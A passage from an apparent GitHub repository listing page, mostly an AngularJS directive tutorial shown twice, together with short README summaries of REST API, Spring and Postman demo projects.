loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
4lador/postman-hmac-sha1-http-prescript
following, header, hmac, http, prescript, script, sha1, signature 		Postman Pre-Request Script that Generate HMAC-SHA1 valid 'Authorization' header following HTTP signature scheme 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
Bitcoinera/restful-api
following, rest, restful, route, routes, test 		This is a project following the Complete Code Bootcamp 2019 of Angela Yu, using Postman to test different routes 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
LOTIRELK/LetterBoxSimulation
display, e mail, experiment, following, initial, mail, office, play, process, program, sort 		Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). 0 stars 0 watchers 0 forks
rohitchatla/swagger.io-openAPI
api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation 		For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy 0 stars 0 watchers 0 forks
samuelgedaly/RESTfulAPI_Ruby
data, database, following, host, http, local, send 		Completed RESTful API using PostgreSQL database, you should be able to Create, Read, Uptade and Delete (CRUD) a Cause. I used Postman to send the different http requests with the following url: http://localhost:3000/api/v1/causes. 0 stars 0 watchers 0 forks

talk (11 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
smartive/techtalk-integration-tests-postman
automat, automate, automated, integration, newman, smart, talk, test, tests 		Small demo-api to show (automated) integration tests with postman and newman 0 stars 0 watchers 3 forks
sonali-developer/SmackApplication
